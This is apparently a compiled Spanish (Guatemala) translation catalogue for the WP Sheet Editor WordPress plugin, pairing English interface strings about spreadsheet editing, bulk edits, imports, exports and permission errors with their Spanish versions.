filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_GT MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

